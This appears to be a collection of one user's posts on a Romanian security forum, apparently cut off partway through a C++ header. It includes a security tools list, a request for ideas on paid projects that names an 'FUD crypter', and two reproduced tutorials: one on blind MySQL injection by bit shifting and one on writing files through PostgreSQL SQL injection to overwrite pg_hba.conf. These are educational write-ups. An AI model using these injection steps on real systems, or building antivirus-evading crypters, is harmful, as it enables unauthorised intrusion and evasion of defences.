-
Posts
18713 -
Joined
-
Last visited
-
Days Won
701
Everything posted by Nytro
-
Oare si cei de la Adobe Romania sunt niste mediocri? Robotzi (CreativeMonkeyz care fac MO si F.O.C.A) in vizita la Adobe Romania : Despre Adobe Romania Dar na, cei de la Adobe Romania nu se pot ridica la nivelul vostru.
-
Cum ma asteptam, raspunsuri inutile de la mari infractori... Ce anume vrei sa stii? Probele fizice sunt usor de luat, dar cele scrise sunt extrem de urate.
-
si maneaua distreaza, asta o face laudabila? Da, de ce nu? Sa nu pornim un "manele vs orice alt gen muzical"... creatorii de la robotzi tampesc si mai mult prostimea Nu o tampesc ei. Dar na, probabil nu toti sunt oameni de cultura ca tine si multe alte personaje de aici. daca cineva se amuza cand un robot trage o basina Aici e discutabila treaba, de exemplu pe tine ce te amuza? Sunt curios ce o sa imi raspunzi...
-
Ce "gluma", foarte inteligenta... Ma bucur ca ti-am descoperit IQ-ul. Ar trebui sa ma simt prost? Nu prea ma simt. Dimpotriva, eu cred ca mi-am facut datoria, am facut ce trebuia.
-
15 unelte de securitate pentru Linux Publicat luni, 20 iulie 2009 n articolul de astazi, va prezentam 15 unelte de securitate pentru sisteme Linux / UNIX. Mentionam ca majoritatea acestor unelte sunt disponibile si pentru alte sisteme de operare cum ar fi Microsoft Windows. Recomandam ca aplicatiile / uneltele prezentate in acest articol sa fie utilizate NUMAI in scopuri constructive si/sau educative! 1. Nmap Security Scanner Nmap “Network Mapper” este, probabil, cel mai cunoscut si mai utilizat port-scanner. Nmap este capabil sa descopere detalii importante despre sistemele din retea cum ar fi: - aplicatii si porturi TCP/UDP “deschise”, utilizate de respectivele aplicatii - versiunile exacte ale serviciilor si aplicatiilor active - sistemele de operare: Nmap poate recunoaste de la distanta tipurile si versiunile sistemelor de operare, aceasta tehnica fiind numita OS Fingerprinting. 2. Nessus Nessus este un scanner de vulnerabilitati extrem de raspandit, fiind utilizat de peste 90.000 organizatii la nivel mondial. Nessus este capabil sa identifice de la distanta potentialele vulnerabilitati de pe sisteme. Pe langa vulnerabilitati, Nessus poate identifica si problemele de configurare care pot duce la propagarea unor probleme de functionalitate ale sistemelor si ale retelelor. 3. Wireshark Wireshark, cunoscut in trecut cu numele Ethereal, este un utilitar de tip “packet sniffer” ce poate fi utilizat pentru interceptarea comunicatiilor din retea. Wireshark permite analiza in timp real a comunicatiilor din retea, fiind similar ca si functionalitate cu tcpdump, totusi Wireshark fiind mai “prietenos” datorita interfetei GUI. Wireshark este disponibil pe mai multe platforme, atat Linux / Unix cat si Windows sau Mac OS X. 4. Ettercap Ettercap este un alt utilitar de tip “packet sniffer” capabil sa intercepteze traficul din retea si sa filtreze traficul “sensibil”, capturand astfel parole transmise “in clar” (necriptate) cum ar fi cele ale comunicatiilor E-Mail POP3, IMAP sau ale sesiunilor Telnet. Ettercap poate fi rulat atat in consola, in mod text, cat si in mod grafic. 5. Dsniff Dsniff este un alt utilitar de tip “packet sniffer” ce poate fi utilizat pentru interceptarea informatiilor sensibile ce traverseaza reteaua cum ar fi: nume utilizatori si parole, pagini Web ce au fost accesate de catre utilizatori, continutul mesajelor E-Mail etc 6. Metasploit Framework Metasploit Framework este o platforma de testare si utilizare a exploiturilor. Metasploit Framework contine o colectie impresionanta de exploit-uri ce pot fi utilizate pentru testarea intruziva a vulnerabilitatilor din retea. 7. Nikto Nikto este un scanner de vulnerabilitati Web, capabil sa identifice cateva mii de potentiale vulnerabilitati ale aplicatiilor si serverelor Web. Nikto este, de asemenea, capabil sa identifice atat versiunea serverului Web scanat cat si modulele / extensiile Web active ca de exemplu: mod_ssl, mod_perl, mod_rewrite, WebDAV etc Scanarea de vulnerabilitati nu este intruziva si pot fi generate multe alerte de tip “false positive” (alerte false) datorita modului in care Nikto interpreteaza raspunsurile primite de la serverele scanate. Chiar si asa, este o unealta foarte utila ce nu trebuie sa lipseasca din “arsenalul” unui administrator de server(e) Web sau de securitate. 8. Aircrack-ng Aircrack-ng este un set de utilitare pentru securitatea retelelor wireless 802.11. Aircrack-ng poate fi utilizat pentru a sparge/recupera parole/chei wireless de tip WEP si WPA-PSK. 9. rkhunter / Rootkit Hunter Rootkit Hunter este un utilitar usor de folosit ce ruleaza pe sisteme UNIX / Linux si are scopul de a detecta prezenta rootkit-urilor si a altor unelte nedorite. 10. chkrootkit chkrootkit este un alt utilitar similiar rkhunter, folosit in acelasi scop, de a va asigura ca sistemul nu a fost compromis si nu sunt prezente pe el aplicatii de tip backdoor/rootkit. 11. Snort Snort este o aplicatie de tip Network Intrusion Prevention/ Detection System (IPS/IDS) capabila sa analizeze in timp real traficul din retea – identificand atacurile indreptate impotriva sistemelor, cum ar fi cele de tip buffer-overflow/stack-overflow, SQL Injection, scanarea de porturi si chiar atacurile de tip DoS/DDoS. Snort este, fara indoiala, cel mai raspandit sistem de detectie si prevenire a atacurilor. 12. netcat / nc netcat este un utilitar folosit pentru transmiterea (citire/scriere) datelor in cadrul retelelor, prin protocolul TCP/IP. 13. John the Ripper John the Ripper este un utilitar de tip “password cracking” ce poate fi folosit pentru extragerea parolelor din hash-uri MD5, blowfish, DES, Windows LM si nu numai. Descoperirea parolelor se face prin metode de tip bruteforce si prin utilizarea dictionarelor de parole. John the Ripper este foarte util pentru extragerea parolelor din fisiere de parole (ex: fisierul /etc/shadow) ce au fost obtinute in urma compromiterii unor sisteme. 14. Tripwire Tripwire este un utilitar pentru monitorizarea integritatii sistemului de fisiere de pe servere sau statii de lucru. Tripwire poate atentiona administratorii atunci cand fisierele importante au fost modificate, corupte sau inlaturate. 15. Backtrack Nu in ultimul rand, amintim o distributie Linux in care sunt inglobate majoritatea uneltelor amintite mai sus, plus multe altele. Backtrack este o distributie Linux dedicata analizei de securitate si a testelor de penetrare / penetration testing. Backtrack contine o colectie mare si variata de unelte de securitate ce pot fi folosite pentru identificarea, analiza si exploatarea propriu-zisa a vulnerabilitatilor din cadrul retelelor. Sursa: http://www.netsecinteractive.ro/blog/15-unelte-de-securitate-pentru-linux.html
-
Sincer, nu ma incanta. Imi plac, dar serialul nu e cine stie ce. Insa ii admir pentru ca fac ceva, nu doar comenteaza aiurea. Pot sa jur ca toti care au comentat aici au vazut toate episoadele. Daca sunteti diferiti de majoritatea, majoritatea fiind admiratori ai acestui serial, de ce va uitati la el? Daca va uitati toata ziua la videoclipuri si imagini amuzante si cititi tone de bancuri sau mai stiu eu ce e normal sa nu vi se para amuzant... Si pot sa jur ca majoritatea nu au facut nimic util pentru "societate" sa zicem. Oamenilor le place serialul, ii face sa rada, sau cel putin sa zambeasca, sa se destinda. Lumea nu se uita neaparat ca sa pice pe jos de ras, in ziua de azi e destul de greu sa amuzi pe cineva, multi "le stiu pe toate". Si important e ca nu cer bani pentru asta.
-
Ei macar distreaza o gramada de oameni, voi consumati oxigenul degeaba pe planeta.
-
Adobe Affter Effects cred. Desigur, folosind Photoshop înainte.
-
Mosad: Are vreun rost daca fac o singura versiune? Adica daca nu fac 1000 de stuburi? Desi as putea incerca si eu as vrea sa incerc ceva mai "extrem"... demisec: In mare nu ar trebui sa fie dificil, oricum vreau de mult sa studiez in detaliu acest protocol, dar pot aparea multe probleme cu diverse servere. robertutzu: Cum m-as imbogati din asa ceva? Si ce anume sa fac mai exact? F.A.Q.: Nu stiu nici macar jQuery, nu sunt tocmai expert, deci nu cred ca e de mine... sharkyz: Nu e deloc usor...
-
Vreau doar niste idei. As vrea sa fac niste proiecte din care sa iasa bani si nu am idee ce se cauta. Singurele lucruri care imi trec in momentul de fata prin cap sunt: - SMTP scanner - SSH scanner (ala cu "root"-urile voastre) - Crypter FUD ................................ Voi ce pareri aveti? Pentru ce si cat anume ati plati? E cineva care are nevoie de un proiect si ar plati pentru el? Bine, nu lucruri marunte de 5 - 10 euro, ceva mai complex. Si ar fi de preferat sa fie cat mai legal, dar nu neaparat. Nu imi trebuie bani, dar vreau sa imi fac cateva idei, am de luat niste decizii... PS: Daca am oferte serioase ma bag. Daca e cineva un freelancer activ pe diverse site-uri, poate ma ajuta cu niste sfaturi. Merge treaba? Cat de greu e la inceput? Cat de greu se prinde un proiect si cam cat se castiga din ele? Aria mea de interese: Web (PHP/MySQL/HTML/JavaScript, nu Design), Desktop (Visual Basic, C++), Linux (C++)...
-
Problema e de dinainte de 1 aprilie. Cred ca mai intai incearca sa posteze prin AJAX si chiar daca reuseste sau nu, mai incearca o data. Habar nu am, daca nu am ce face ma uit prin cod.
-
In cazul meu cred ca de la Firefox e, ma trimitea de doua ori la aceeasi locatie. Deci in mare de la Mozilla e problema. Sa vad daca gasesc ceva... Face un request sa posteze, care ramane "pending" si mai facea unul corect. Vedeti si voi cu Tamper Data.
-
Am vazut ca nu sunt singurul care a intampinat aceasta problema. Vi s-a intamplat sa postati ceva si sa apara de 2 ori? Daca da, folositi Firefox 4? Voi incerca sa reproduc problema, sa vad daca e de la forum...
-
Mircea Badea e un ratat.
-
Vad ca functioneaza din nou: http://img.msg.yahoo.com/avatar.php?yids=id_mess Insa si programul functioneaza in continuare.
-
Bypassing Anti-Virus Scanners Contents Chapter 1 – Introduction ..............................................................................................................2 Chapter 2 – PE File Structure ......................................................................................................3 2.1 - AV Signatures and the PE file format ..................................................................................4 2.2 – Modifying AV Signatures in PE Files .................................................................................5 2.3 – Polymorphic Techniques and Hijacks .................................................................................7 Chapter 3 – Encoding Binary Files ..............................................................................................8 3.1 – Preparing the PE file for Encoding .....................................................................................9 3.2 – Implementing the Custom Encoder ...................................................................................13 Chapter 4 – Decoding Binary Files.............................................................................................16 4.1 – Altering the Encoder to a Decoder ....................................................................................16 4.2 – Testing the Custom Decoder .............................................................................................18 Chapter 5 – Conclusion ...............................................................................................................21 Download: http://www.exploit-db.com/download_pdf/17066 M-am uitat in mare peste el si cred ca se bazeaza pe ideile prezentate aici: Free Security Training Videos by Offensive Security Tutorialul video: "I Piss on Your AV Presentation Watch Now", de Mati Ahroni aka muts.
-
The Beginners Guide to XSS Dear reader, I hope that you will enjoy this paper I have written, aimed at mostly beginners within Web Application Security, but also those that needs a quick reference or a good guide to what XSS is in its simplest form. You may copy, distribute, share, adapt, change and edit as you like. You may however NOT sell this paper but including any contents in course ware, live and online training is allowed. Best regards, MaXe Download: http://www.exploit-db.com/download_pdf/17059
-
Faster Blind MySQL Injection Using Bit Shifting Made by Jelmer de Hen ### # Faster blind MySQL injection using bit shifting for a HTML version # Made by Jelmer de Hen # H.ackAck.net ##### While strolling through mysql.com I came across this page MySQL :: MySQL 5.0 Reference Manual :: 11.11 Bit Functions. There you can view the possibility of the bitwise function right shift. A bitwise right shift will shift the bits 1 location to the right and add a 0 to the front. Here is an example: mysql> select ascii(b'00000010'); +--------------------+ | ascii(b'00000010') | +--------------------+ | 2 | +--------------------+ 1 row in set (0.00 sec) Right shifting it 1 location will give us: mysql> select ascii(b'00000010') >> 1; +-------------------------+ | ascii(b'00000010') >> 1 | +-------------------------+ | 1 | +-------------------------+ 1 row in set (0.00 sec) It will add a 0 at the front and remove 1 character at the end. 00000010 = 2 00000010 >> 1 = 00000001 ^ ^ 0 shifted So let's say we want to find out a character of a string during blind MySQL injection and use the least possible amount of requests and do it as soon as possible we could use binary search but that will quickly take a lot of requests. First we split the ascii table in half and try if it's on 1 side or the other, that leaves us ~64 possible characters. Next we chop it in half again which will give us 32 possible characters. Then again we get 16 possible characters. After the next split we have 8 possible characters and from this point it's most of the times guessing or splitting it in half again. Let's see if we can beat that technique by optimizing this - but first more theory about the technique I came up with. There are always 8 bits reserved for ASCII characters. An ASCII character can be converted to it's decimal value as you have seen before: mysql> select ascii('a'); +------------+ | ascii('a') | +------------+ | 97 | +------------+ 1 row in set (0.00 sec) This will give a nice int which can be used as binary. a = 01100001 If we would left shift this character 7 locations to the right you would get: 00000000 The first 7 bits are being added by the shift, the last character remains which is 0. mysql> select ascii('a') >> 7; +-----------------+ | ascii('a') >> 7 | +-----------------+ | 0 | +-----------------+ 1 row in set (0.00 sec) a = 01100001 01100001 >> 7 == 00000000 == 0 01100001 >> 6 == 00000001 == 1 01100001 >> 5 == 00000011 == 3 01100001 >> 4 == 00000110 == 6 01100001 >> 3 == 00001100 == 12 01100001 >> 2 == 00011000 == 24 01100001 >> 1 == 00110000 == 48 01100001 >> 0 == 01100001 == 97 When we did the bitshift of 7 we had 2 possible outcomes - 0 or 1 and we can compare it to 0 and 1 and determine that way if it was 1 or 0. mysql> select (ascii('a') >> 7)=0; +---------------------+ | (ascii('a') >> 7)=0 | +---------------------+ | 1 | +---------------------+ 1 row in set (0.00 sec) It tells us that it was true that if you would shift it 7 bits the outcome would be equal to 0. Once again, if we would right shift it 6 bits we have the possible outcome of 1 and 0. mysql> select (ascii('a') >> 6)=0; +---------------------+ | (ascii('a') >> 6)=0 | +---------------------+ | 0 | +---------------------+ 1 row in set (0.00 sec) This time it's not true so we know the first 2 bits of our character is "01". If the next shift will result in "010" it would equal to 2; if it would be "011" the outcome would be 3. mysql> select (ascii('a') >> 5)=2; +---------------------+ | (ascii('a') >> 5)=2 | +---------------------+ | 0 | +---------------------+ 1 row in set (0.00 sec) It is not true that it is 2 so now we can conclude it is "011". The next possible options are: 0110 = 6 0111 = 7 mysql> select (ascii('a') >> 4)=6; +---------------------+ | (ascii('a') >> 4)=6 | +---------------------+ | 1 | +---------------------+ 1 row in set (0.00 sec) We got "0110" now and looking at the table for a above here you can see this actually is true. Let's try this on a string we actually don't know, user() for example. First we shall right shift with 7 bits, possible results are 1 and 0. mysql> select (ascii((substr(user(),1,1))) >> 7)=0; +--------------------------------------+ | (ascii((substr(user(),1,1))) >> 7)=0 | +--------------------------------------+ | 1 | +--------------------------------------+ 1 row in set (0.00 sec) We now know that the first bit is set to 0. 0??????? The next possible options are 0 and 1 again so we compare it with 0. mysql> select (ascii((substr(user(),1,1))) >> 6)=0; +--------------------------------------+ | (ascii((substr(user(),1,1))) >> 6)=0 | +--------------------------------------+ | 0 | +--------------------------------------+ 1 row in set (0.00 sec) Now we know the second bit is set to 1. 01?????? Possible next options are: 010 = 2 011 = 3 mysql> select (ascii((substr(user(),1,1))) >> 5)=2; +--------------------------------------+ | (ascii((substr(user(),1,1))) >> 5)=2 | +--------------------------------------+ | 0 | +--------------------------------------+ 1 row in set (0.00 sec) Third bit is set to 1. 011????? Next options: 0110 = 6 0111 = 7 mysql> select (ascii((substr(user(),1,1))) >> 4)=6; +--------------------------------------+ | (ascii((substr(user(),1,1))) >> 4)=6 | +--------------------------------------+ | 0 | +--------------------------------------+ 1 row in set (0.00 sec) This bit is also set. 0111???? Next options: 01110 = 14 01111 = 15 mysql> select (ascii((substr(user(),1,1))) >> 3)=14; +---------------------------------------+ | (ascii((substr(user(),1,1))) >> 3)=14 | +---------------------------------------+ | 1 | +---------------------------------------+ 1 row in set (0.00 sec) 01110??? Options: 011100 = 28 011101 = 29 mysql> select (ascii((substr(user(),1,1))) >> 2)=28; +---------------------------------------+ | (ascii((substr(user(),1,1))) >> 2)=28 | +---------------------------------------+ | 1 | +---------------------------------------+ 1 row in set (0.00 sec) 011100?? Options: 0111000 = 56 0111001 = 57 mysql> select (ascii((substr(user(),1,1))) >> 1)=56; +---------------------------------------+ | (ascii((substr(user(),1,1))) >> 1)=56 | +---------------------------------------+ | 0 | +---------------------------------------+ 1 row in set (0.00 sec) 0111001? Options: 01110010 = 114 01110011 = 115 mysql> select (ascii((substr(user(),1,1))) >> 0)=114; +----------------------------------------+ | (ascii((substr(user(),1,1))) >> 0)=114 | +----------------------------------------+ | 1 | +----------------------------------------+ 1 row in set (0.00 sec) Alright, so the binary representation of the character is: 01110010 Converting it back gives us: mysql> select b'01110010'; +-------------+ | b'01110010' | +-------------+ | r | +-------------+ 1 row in set (0.00 sec) So the first character of user() is "r". With this technique we can assure that we have the character in 8 requests. Further optimizing this technique can be done. The ASCII table is just 127 characters which is 7 bits per character so we can assume we will never go over it and decrement this technique with 1 request per character. Chances are higher the second bit will be set to 1 since the second part of the ASCII table (characters 77-127) contain the characters a-z A-Z - the first part however contains numbers which are also used a lot but when automating it you might just want to try and skip this bit and immediatly try for the next one. Sursa: http://www.exploit-db.com/papers/17073/ O idee interesanta...
-
Zolder, Greywords, iBebe - Ban cate 5 zile sa va calmati.
-
Advanced SQL injection to operating system full control
Nytro posted a topic in Tutoriale in engleza
Advanced SQL injection to operating system full control Bernardo Damele Assumpção Guimarães bernardo.damele -@- gmail.com April 10, 2009 This white paper discusses the security exposures of a server that occur due to a SQL injection aw in a web application that communicate with a database. Over ten years have passed since a famous hacker coined the term "SQL injection" and it is still considered one of the major application threats. A lot has been said on this vulnerability, but not all of the aspects and implications have been uncovered, yet. This paper aim is to collate some of the existing knowledge, introduce new techniques and demonstrate how to get complete control over the database management system's underlying operating system, le system and internal network through a SQL injection vulnerability in over-looked and theoretically not exploitable scenarios. Download: http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf -
SQLi: Writing files to disk under PostgreSQL Table of Contents 1. Introduction 2. Default configuration 3. COPY Function 3.1 COPY function abusing 4. BLOB functions 4.1 BLOB functions abusing 5. User defined functions 5.1 User defined functions abusing 6. Conclusions 7. References 1. Introduction The following examples assume access to the database has been achieved through SQL Injection vulnerability in a web application. Sometimes, against best practice, the application has connected to the database using superuser credentials. 2. Default configuration In some systems the configuration files of PostgreSQL are owned by the user used to run the PostgreSQL process. For example in my Ubuntu laptop the PostgreSQL configuration file are owned by postgres by default, as you can see: $ ls -al /etc/postgresql/8.3/main/ total 44 drwxr-xr-x 2 root root 4096 2008-05-14 00:20 . drwxr-xr-x 3 root root 4096 2008-04-12 15:19 .. -rw-r--r-- 1 root root 316 2008-04-12 15:20 environment -rw-r----- 1 postgres postgres 3845 2008-05-13 23:07 pg_hba.conf -rw-r----- 1 postgres postgres 1460 2008-04-12 15:20 pg_ident.conf -rw-r--r-- 1 postgres postgres 16682 2008-04-12 15:20 postgresql.conf -rw-r--r-- 1 root root 378 2008-04-12 15:20 start.conf All the configuration files are owned by postgres user which can write these. So anyone that can execute a SQL statement that write files to disk can try to overwrite a configuration file and do all evil things. 3. COPY Function The COPY statement transfers data between PostgreSQL tables and standard file system files. COPY TO statement copies the contents of a table to a file, while COPY FROM copies data from a file to a table (appending the data to whatever is in the table already). It can export data as text or PostgreSQL’s own binary format, which contains a header. Using COPY with a file name instructs the PostgreSQL server to directly read from or write to a file. The file must be accessible to the server and the name must be specified from the viewpoint of the server. When STDIN or STDOUT is specified, data is transmitted via the connection between the client and the server. In PostgreSQL 8.0 and later the database file locations can be determined querying system table pg_settings: postgres=# SELECT setting FROM pg_settings WHERE name='data_directory'; setting ------------------------------ /var/lib/postgresql/8.3/main (1 row) 3.1 COPY function abusing The files are accessed under the operating system user privilege that the database runs as and it’s available only to database superusers. The COPY command does not accept relative paths to prevent the overwriting of a database file, more explanation of this can be found in copy.c source file. So an attacker can use ~ to write in PostgreSQL home directory and must write files in already known path or a well known directory like /tmp. The caveat is that the file cannot contain a null byte (0×00) otherwise proceeding bytes will not be written out. 4. BLOB functions PostgreSQL uses large objects, also called Binary Large Objects, to store very large values and binary data. Large objects permit storage of any operating system file, including images or large text files, directly into the database. It has provided support for BLOB, also called Large Objects, since version 4.2. From version 7.2 organized the three large object interfaces such that all large objects are now placed in the system table pg_largeobject. According to the Database Data Type Comparison Sheet[3] there are two data types used by PostgreSQL to store BLOB: • BYTEA: used to store small amount of binary data that are stored in the data table • OID: used to store very large amount of binary data in form of file in the filesystem 4.1 BLOB functions abusing The file is loaded into the database using lo_import(), and is retrieved from the database using lo_export(). These functions take a path as argument that is the path of file to load or the path where export the data in the BLOB field. In detail[2] to export a large object into an operating system file, call the lo_export() function, with argument that specifies the operating system name of the file. Note that the file is written by the client interface library, not by the server. Returns 1 on success, -1 on failure. Reading PostgreSQL documentation in the BLOB section[1] there is the following: Files are imported and exported by the postgres user, so postgres must have permission to read the file for lo_import() and directory write permission for lo_export(). So this function can write a file to disk and abusing it we can overwrite the PostgreSQL configuration files. First of all we need to create a temporary table (if your user have right permissions) to store our evil data: postgres=# CREATE TABLE foo ( postgres(# bar oid, postgres(# id int4, postgres(# CONSTRAINT id PRIMARY KEY (id) ) WITHOUT OIDS; NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index "id" for table "foo" CREATE TABLE The easiest way to load a file is using lo_import() that imports a file from the local file system but if you want to use this you must have a way to store a file on target system. postgres=# INSERT INTO foo VALUES (lo_import('/tmp/bar.bin'), 1); INSERT 0 1 Now you can try to abuse of lo_export() to overwrite a PostgreSQL configuration file. If the web application connects to PostgreSQL using a user with superuser permission you can overwrite any configuration file owned by postgres, here we overwrite pg_hba.conf: postgres=# SELECT lo_export(bar, '/etc/postgresql/8.3/main/pg_hba.conf') FROM postgres+# foo WHERE id=1; lo_export ----------- 1 (1 row) If the web application runs as a non-superuser user you can get the following error message: Query failed: ERROR: must be superuser to use server-side lo_export() HINT: Anyone can use the client-side lo_export() provided by libpq. If you are exploiting a SQL injection you can’t use lo_import() because it needs to write files in the local system the pg_largeobject table can be queried and updated directly, it’s “data” column is the equivalent to the BLOB data type found in other DBMS and is of type BYTEA. Remember that when writing BYTEA data all non printable characters must be represented in octal syntax like 00 and the \ must be escaped if you use it inside a string. For example 00 becomes 0 inside a string. A trick is to transfer data encoded in hex or base64 and then decode it in the database, but remember that this cause an overhead, for example of 34% of the file size using base64. Using direct access to pg_largeobject we can transfer an arbitrary file and then exporting it via lo_export(). First of all you must create a new entry in pg_largeobject. postgres=# SELECT lo_create(-1); lo_create ---------- 24586 (1 row) And now load your file encoded in base64 (also hex encoding can be used). postgres=# UPDATE pg_largeobject SET data = (DECODE('YW50YW5p', 'base64')) postgres+# WHERE LOID = 24586; UPDATE 1 Your file is loaded in the target DBMS, now you can write it to disk using lo_export(). postgres=# SELECT lo_export(24586, '/etc/postgresql/8.3/main/pg_hba.conf'); lo_export ----------- 1 (1 row) 5. User defined functions The PostgreSQL functionalities can be extended user-defined functions, data types, triggers, etc[6] written in C or other languages. By default only superuser can create new functions using language C. 5.1 User defined functions abusing Using a user-defined function is possible to define function to open, create and write files. The code is not too short and described by Nico Leidecker[5] and also is the author of pgshell[7], a tool to automatize the exploitation process. 6. Conclusions Exploiting a SQL injection to write files in to the attacked system disk can be done in three ways but as you can see in the following comparison table you can do it only if the database user is a superuser. +-------------------------------+-------------+------+ | | Super user | User | +-------------------------------+-------------+------+ +-------------------------------+-------------+------+ | Write files with COPY | YES | NO | +-------------------------------+-------------+------+ | Write files with lo_export() | YES | NO | +-------------------------------+-------------+------+ | Write file via extension | YES | NO | +-------------------------------+-------------+------+ So in the case we aren’t superuser a privilege escalation vulnerability can be user to upload files. If you achieve the capability to upload files you can overwrite the PostgreSQL configuration files. 7. References [1] Large Objects (BLOBs) [2] PostgreSQL: Documentation: Manuals: PostgreSQL 8.3: Client Interfaces [3] Database datatype comparison sheet | tanasi.it [4] http://www.postgresql.org/docs/8.1/interactive/sql-copy.html [5] http://labs.portcullis.co.uk/download/Having_Fun_With_PostgreSQL.pdf [6] PostgreSQL: Documentation: Manuals: PostgreSQL 8.3: Server Programming [7] leidecker.info Sursa: http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql
-
La mine e vorba de un proiect mai mare, dar nu am avut timp si nu mi-am dat interesul sa fac prea multe: Nytrp - Pastebin.com[/url] [code] /* Nume: Popescu Ionut Gabriel Tema: Numere reale mari Continut: Definitia clasei pentru lucrul cu numere reale mari */ /* Observatie nr : 0.222 - double nr_prec : 0.2219999999999942 - reprezentarea sa (precizie 16) Sau: nr : 0.456 nr_prec : 0.4560000000000031 - reprezentarea sa (precizie 16) */ // Prevenire multi-incluziune #ifndef BIGREAL_H_INCLUDED #define BIGREAL_H_INCLUDED // Pentru supraincarcare << si >> #include <iostream> #include <fstream> // O cifra ce foloseste 4 biti in loc de 8 // Mai putina memorie folosita (1/2) // Pentru posibile implementari ulterioare struct cifra_mica { unsigned char c: 4; }; // Macro, daca e cifra #define e_cifra(x) (x >= '0' && x <= '9' ? 1 : 0) // Modul de depanare #define DEBUG 0 // Definitia clasei class BigReal { private: char *intreg, *zecimal; // Vectori pentru cifre bool semn; // Daca numarul e pozitiv sau negativ // Metode ajutatoare char* intreg_la_sir(int x); // Convertire de la intreg la sir de caractere char* zecimala_la_sir(double x); // Convertire parte zecimala la sir char* aduna_siruri(const char *sir1, const char *sir2); // Adunare 2 siruri de caractere public: // Constructori si destructor BigReal(); // Constructor fara parametri BigReal(int x); // Constructor cu parametru int BigReal(double x); // Constructor cu parametru double BigReal(const char *sir); // Constructor cu parametru sir BigReal(BigReal &ob); // Constructor de copiere ~BigReal(); // Destructor // Supraincarcare operator + BigReal& operator + (int x); // BigReal + int BigReal& operator + (double x); // BigReal + double BigReal& operator + (const char *sir); // BigReal + sir BigReal& operator + (BigReal &ob); // BigReal + BigReal friend BigReal& operator + (int x, BigReal &ob); // int + BigReal friend BigReal& operator + (double x, BigReal &ob); // double + BigReal friend BigReal& operator + (const char *sir, BigReal &ob); // sir + BigReal // Supraincarcare operator binar - BigReal& operator - (int x); // BigReal - int BigReal& operator - (double x); // BigReal - double BigReal& operator - (const char *sir); // BigReal - sir BigReal& operator - (BigReal &ob); // BigReal - BigReal friend BigReal& operator - (int x, BigReal &ob); // int - BigReal friend BigReal& operator - (double x, BigReal &ob); // double - BigReal friend BigReal& operator - (const char *sir, BigReal &ob); // sir - BigReal // Supraincarcare operatori unar - si + BigReal& operator - (); // - BigReal BigReal& operator + (); // + BigReal // Supraincarcare operator binar * BigReal& operator * (int x); // BigReal * int BigReal& operator * (double x); // BigReal * double BigReal& operator * (const char *sir); // BigReal * sir BigReal& operator * (BigReal &ob); // BigReal * BigReal friend BigReal& operator * (int x, BigReal &ob); // int * BigReal friend BigReal& operator * (double x, BigReal &ob); // double * BigReal friend BigReal& operator * (const char *sir, BigReal &ob); // sir * BigReal // Supraincarcare operator / BigReal& operator / (int x); // BigReal / int BigReal& operator / (double x); // BigReal / double BigReal& operator / (const char *sir); // BigReal / sir BigReal& operator / (BigReal &ob); // BigReal / BigReal friend BigReal& operator / (int x, BigReal &ob); // int / BigReal friend BigReal& operator / (double x, BigReal &ob); // double / BigReal friend BigReal& operator / (const char *sir, BigReal &ob); // sir / BigReal // Supraincarcare operator < BigReal& operator < (int x); // BigReal < int BigReal& operator < (double x); // BigReal < double BigReal& operator < (const char *sir); // BigReal < sir BigReal& operator < (BigReal &ob); // BigReal < BigReal friend BigReal& operator < (int x, BigReal &ob); // int < BigReal friend BigReal& operator < (double x, BigReal &ob); // double < BigReal friend BigReal& operator < (const char *sir, BigReal &ob); // sir < BigReal // Supraincarcare operator <= BigReal& operator <= (int x); // BigReal <= int BigReal& operator <= (double x); // BigReal <= double BigReal& operator <= (const char *sir); // BigReal <= sir BigReal& operator <= (BigReal &ob); // BigReal <= BigReal friend BigReal& operator <= (int x, BigReal &ob); // int <= BigReal friend BigReal& operator <= (double x, BigReal &ob); // double <= BigReal friend BigReal& operator <= (const char *sir, BigReal &ob); // sir <= BigReal // Supraincarcare operator > BigReal& operator > (int x); // BigReal > int BigReal& operator > (double x); // BigReal > double BigReal& operator > (const char *sir); // BigReal > sir BigReal& operator > (BigReal &ob); // BigReal > BigReal friend BigReal& operator > (int x, BigReal &ob); // int > BigReal friend BigReal& operator > (double x, BigReal &ob); // double > BigReal friend BigReal& operator > (const char *sir, BigReal &ob); // sir > BigReal // Supraincarcare operator <= BigReal& operator >= (int x); // BigReal >= int BigReal& operator >= (double x); // BigReal >= double BigReal& operator >= (const char *sir); // BigReal >= sir BigReal& operator >= (BigReal &ob); // BigReal >= BigReal friend BigReal& operator >= (int x, BigReal &ob); // int >= BigReal friend BigReal& operator >= (double x, BigReal &ob); // double >= BigReal friend BigReal& operator >= (const char *sir, BigReal &ob); // sir >= BigReal // Supraincarcare operator == BigReal& operator == (int x); // BigReal == int BigReal& operator == (double x); // BigReal == double BigReal& operator == (const char *sir); // BigReal == sir BigReal& operator == (BigReal &ob); // BigReal == BigReal friend BigReal& operator == (int x, BigReal &ob); // int == BigReal friend BigReal& operator == (double x, BigReal &ob); // double == BigReal friend BigReal& operator == (const char *sir, BigReal &ob); // sir == BigReal // Supraincarcare operator != BigReal& operator != (int x); // BigReal != int BigReal& operator != (double x); // BigReal != double BigReal& operator != (const char *sir); // BigReal != sir BigReal& operator != (BigReal &ob); // BigReal != BigReal friend BigReal& operator != (int x, BigReal &ob); // int != BigReal friend BigReal& operator != (double x, BigReal &ob); // double != BigReal friend BigReal& operator != (const char *sir, BigReal &ob); // sir != BigReal // Supraincarcare operator = BigReal& operator = (int x); // BigReal = int BigReal& operator = (double x); // BigReal = double BigReal& operator = (const char *sir); // BigReal = sir BigReal& operator = (BigReal &ob); // BigReal = BigReal // Supraincarcare operatori cast operator int (); // int = BigReal operator double (); // double = BigReal operator char* (); // sir = BigReal // Supraincarcare << si >> pentru cout si cin friend std::ostream& operator << (std::ostream &flux, BigReal &ob); // cout << BigReal friend std::istream& operator >> (std::istream &flux, BigReal &ob); // cin >> BigReal // Supraincarcare operator ++ BigReal& operator ++ (); // ++ BigReal BigReal& operator ++ (int x); // BigReal ++ // Supraincarcare operator -- BigReal& operator -- (); // -- BigReal BigReal& operator -- (int x); // BigReal -- // Functii pentru acces la date, publice, inline char* intoarce_intreg() { return intreg; } // Intoarce pointerul catre partea intreaga char* intoarce_zecimal() { return zecimal; } // Intoarce pointerul catre partea zecimala // Atribuire de valori pentru datele private void atribuie_intreg(const char *sir); void atribuie_zecimal(const char *sir); // DE FACUT: Definitii supraincarcare: // - operator +=, -=, *=, /= }; // Constructor fara parametri BigReal::BigReal() { if(DEBUG) std::cout<<"DEBUG: 